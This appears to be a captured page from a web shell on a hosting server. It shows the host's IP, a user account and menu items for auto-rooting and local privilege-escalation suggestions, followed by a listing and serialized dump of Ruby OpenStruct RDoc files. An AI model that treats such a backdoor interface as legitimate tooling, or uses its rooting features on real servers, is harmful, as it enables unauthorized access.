Linux server1.dn-server.com 4.18.0-553.89.1.lve.el8.x86_64 #1 SMP Wed Dec 10 13:58:50 UTC 2025 x86_64
LiteSpeed
Server IP : 195.201.204.189 & Your IP : 216.73.216.37
Domains :
Cant Read [ /etc/named.conf ]
User : beriska1
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
opt /
alt /
ruby19 /
share /
ri /
1.9.1 /
system /
OpenStruct /
Delete
Unzip
Name
Size
Permission
Date
Action
%3d%3d-i.ri
351
B
-rw-r--r--
2023-07-26 17:26
cdesc-OpenStruct.ri
3
KB
-rw-r--r--
2023-07-26 17:26
delete_field-i.ri
529
B
-rw-r--r--
2023-07-26 17:26
initialize_copy-i.ri
248
B
-rw-r--r--
2023-07-26 17:26
inspect-i.ri
283
B
-rw-r--r--
2023-07-26 17:26
marshal_dump-i.ri
644
B
-rw-r--r--
2023-07-26 17:26
marshal_load-i.ri
610
B
-rw-r--r--
2023-07-26 17:26
modifiable-i.ri
350
B
-rw-r--r--
2023-07-26 17:26
new-c.ri
674
B
-rw-r--r--
2023-07-26 17:26
new_ostruct_member-i.ri
420
B
-rw-r--r--
2023-07-26 17:26
to_s-i.ri
145
B
-rw-r--r--
2023-07-26 17:26
Save
Rename
U:RDoc::NormalClass[iI"OpenStruct:EF@I"Object;Fo:RDoc::Markup::Document:@parts[o;;[o:RDoc::Markup::Paragraph;[ I"JAn OpenStruct is a data structure, similar to a Hash, that allows the;TI"Odefinition of arbitrary attributes with their accompanying values. This is;TI"Paccomplished by using Ruby's metaprogramming to define methods on the class;TI"itself.;To:RDoc::Markup::BlankLine S:RDoc::Markup::Heading: leveli: textI"Examples:;T@o:RDoc::Markup::Verbatim;[I"require 'ostruct' ;FI" ;FI"person = OpenStruct.new ;FI"#person.name = "John Smith" ;FI"person.age = 70 ;FI"person.pension = 300 ;FI" ;FI",puts person.name # -> "John Smith" ;FI""puts person.age # -> 70 ;FI"#puts person.address # -> nil ;Fo; ;[I"PAn OpenStruct employs a Hash internally to store the methods and values and;TI"&can even be initialized with one:;T@o;;[I"Taustralia = OpenStruct.new(:country => "Australia", :population => 20_000_000) ;FI"Mp australia # -> <OpenStruct country="Australia" population=20000000> ;Fo; ;[ I"SHash keys with spaces or characters that would normally not be able to use for;TI"Gmethod calls (e.g. ()[]*) will not be immediately available on the;TI"SOpenStruct object as a method for retrieval or assignment, but can be still be;TI",reached through the Object#send method.;T@o;;[I"?measurements = OpenStruct.new("length (in inches)" => 24) ;FI"6measurements.send("length (in inches)") # -> 24 ;FI" ;FI"3data_point = OpenStruct.new(:queued? => true) ;FI"8data_point.queued? # -> true ;FI"'data_point.send("queued?=",false) ;FI"9data_point.queued? # -> false ;Fo; ;[I"NRemoving the presence of a method requires the execution the delete_field;TI"Nmethod as setting the property value to +nil+ will not remove the method.;T@o;;[ I"Jfirst_pet = OpenStruct.new(:name => 'Rowdy', :owner => 'John Smith') ;FI"first_pet.owner = nil ;FI"3second_pet = OpenStruct.new(:name => 'Rowdy') ;FI" ;FI"*first_pet == second_pet # -> false ;FI" ;FI"$first_pet.delete_field(:owner) ;FI")first_pet == second_pet # -> true ;FS;;i; I"Implementation:;T@o; ;[I"QAn OpenStruct utilizes Ruby's method lookup structure to and find and define;TI"Rthe necessary methods for properties. This is accomplished through the method;TI"&method_missing and define_method.;T@o; ;[I"RThis should be a consideration if there is a concern about the performance of;TI"Pthe objects that are created, as there is much more overhead in the setting;TI">of these properties compared to using a Hash or a Struct.;T: @fileI"lib/ostruct.rb;T;0[ [[I"InspectKey;Fo;;[ ;0@S[ [[I" class;F[[:public[[I"new;F@S[:protected[ [:private[ [I" instance;F[[;[ [I"==;F@S[I"delete_field;F@S[I"initialize_copy;F@S[I"inspect;F@S[I"marshal_dump;F@S[I"marshal_load;F@S[I"new_ostruct_member;F@S[I" to_s;F@S[;[[I"modifiable;F@S[;[